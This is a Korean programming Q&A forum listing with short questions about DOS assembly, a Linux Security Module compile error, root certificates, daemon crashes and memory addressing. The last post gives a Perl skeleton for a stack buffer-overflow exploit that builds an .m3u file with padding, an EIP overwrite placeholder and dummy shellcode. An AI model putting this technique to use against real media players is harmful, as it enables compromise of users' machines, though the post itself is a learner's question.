프로그래밍 QnA

mcom7573의 이미지

숫자를 역순으로 가져오는 어셈블리코드인데요~

숫자를 역순으로 가져오는 어셈블리코드인데요~

start: jmp main

num1 db 39h

main proc

Again:
mov ah,02h
mov dl,num1
int 21h

dec num1
cmp num1,2fh
jne Again
int 20h

main endp
end start

이 코드를 리눅스 어셈블리로 바꿔야 하는데

int나 20h같은 부분들을 해석하기가 어려워서 코드의 의미를 좀 부탁드리고 싶습니다..ㅠ

감사합니다~!

mcom7573의 이미지

숫자를 역순으로 가져오는 어셈블리코드인데요~


숫자를 역순으로 가져오는 어셈블리코드인데요~

start: jmp main

num1 db 39h

main proc

Again:
mov ah,02h
mov dl,num1
int 21h

dec num1
cmp num1,2fh
jne Again
int 20h

main endp
end start

제가 리눅스 어셈블리를 배우고 있는데 배우지 않은 명령어때문에

해석하기가 어려워서 코드의 의미를 좀 부탁드리고 싶습니다..ㅠ

감사합니다~!

alwaysN00b의 이미지

LSM(Linux Security Module) 컴파일 오류

안녕하세요.

간단하게 아래와 같은 소스로 컴파일 해봤는데 오류가 나네요.. 한참 삽질해봤는데, 제 실력으론 부족해서 질문 올립니다.

코드는 아래와 같고

시류의 이미지

윈도우 루트 인증서 등록 방법 문의

클라이언트 단에서 신뢰받은 루트 인증서로 등록해야 되는 경우가 발생하여

기존에 인증서 설치 방법으로 조금은.. 귀찮게 하던것을 좀더 간단하게 할수 없는 방법이 없을까 찾다가

피들러에서 간단하게 루트 인증서 등록이 되는것을 보고 이와 관련된 방법이 어떤게 있을지..

문의 드립니다.

혹시 스샷과 관련된 방법을 사용 할 수 있도록 관련된 자료를 알려주시면 감사하겠습니다...

rabbit59의 이미지

데몬이 비정상종료가 될때 해결법..

proC 로 작성된 SMS 발송데몬이 있습니다.
크게 복잡한 내용도 아닌데..
1분마다 QUEUE 에 들어온 데이터를 읽어 SMS 서버로 전송하는역할을합니다.
일반적으로 잘 작동되고 돌고있는데.. 아무 신호없이 죽는경우가 두어달에 한번씩 발생합니다.
그래서
갑자기 종료되는 이유를 찾고싶은데 정상종료가 아니기에 로그에 남는게 없습니다.
비정상종료될때 받은 시그널이나 상황을 알고싶은데
그런걸 로그에 남길 방법이 있을까요
더 필요한 정보가 있으면 알려드리겠습니다.
기능개선을 해야하는데.. 이유를 모르니 뭔가 해볼수가 없네요
도움 부탁드립니다.

rabbit59의 이미지

데몬이 비정상종료가 될때 해결법..


proC 로 작성된 SMS 발송데몬이 있습니다.
크게 복잡한 내용도 아닌데..
1분마다 QUEUE 에 들어온 데이터를 읽어 SMS 서버로 전송하는역할을합니다.
일반적으로 잘 작동되고 돌고있는데.. 아무 신호없이 죽는경우가 두어달에 한번씩 발생합니다.
그래서
갑자기 종료되는 이유를 찾고싶은데 정상종료가 아니기에 로그에 남는게 없습니다.
비정상종료될때 받은 시그널이나 상황을 알고싶은데
그런걸 로그에 남길 방법이 있을까요
더 필요한 정보가 있으면 알려드리겠습니다.
기능개선을 해야하는데.. 이유를 모르니 뭔가 해볼수가 없네요
도움 부탁드립니다.

rabbit59의 이미지

데몬이 비정상종료가 될때 해결법..


proC 로 작성된 SMS 발송데몬이 있습니다.
크게 복잡한 내용도 아닌데..
1분마다 QUEUE 에 들어온 데이터를 읽어 SMS 서버로 전송하는역할을합니다.
일반적으로 잘 작동되고 돌고있는데.. 아무 신호없이 죽는경우가 두어달에 한번씩 발생합니다.
그래서
갑자기 종료되는 이유를 찾고싶은데 정상종료가 아니기에 로그에 남는게 없습니다.
비정상종료될때 받은 시그널이나 상황을 알고싶은데
그런걸 로그에 남길 방법이 있을까요
더 필요한 정보가 있으면 알려드리겠습니다.
기능개선을 해야하는데.. 이유를 모르니 뭔가 해볼수가 없네요
도움 부탁드립니다.

nicemuy의 이미지

[완료]Memory의 실제 논리적 구성과 실제 addressing의 차이점이 궁금합니다.

제가 요새 하드웨어 공부를 하게되면서 Memory의 구조를 스치듯(?)이 보았는데, 상당히 이해가 안가는 점이 있어서 질문남겨 봅니다ㅠㅠ

우선은 제가 본 메모리의 대략적인 구조 그림이 아래와 같은데요...

이것이 32bit 컴퓨터에서는 address라인과 data라인이 전부 32bit라고 합니다. 여기서 제가 궁금한점이, 그림에 따르면 32bit 컴퓨터에서 address가 0x00 00 00 00에서 data를 실제 32bit를 읽어오고 0x00 00 00 01에서도 data를 32bit 읽어오고 이렇게 되야하는데,

skagudwn01의 이미지

;

badwood의 이미지

BOF할때 pop pop return 이나 push return를 eip에 덮을때 질문입니다.

my $file= "test1.m3u";
my $junk= "A" x 26094;
my $eip = "BBBB";(여기에 pop pop return주소나 push return주소를 넣겟죠)
my $preshellcode = "XXXX";
my $shellcode = "1ABCDEFGHIJK2ABCDEFGHIJK3ABCDEFGHIJK4ABCDEFGHIJK" .
"5ABCDEFGHIJK6ABCDEFGHIJK" .
"7ABCDEFGHIJK8ABCDEFGHIJK" .
"9ABCDEFGHIJKAABCDEFGHIJK".
"BABCDEFGHIJKCABCDEFGHIJK";
open($FILE,">$file");
print $FILE $junk.$eip.$preshellcode.$shellcode;
close($FILE);
print "m3u File Created successfully\n";
 

위처럼 exploit코드를 넣습니다.

페이지

프로그래밍 QnA 구독하기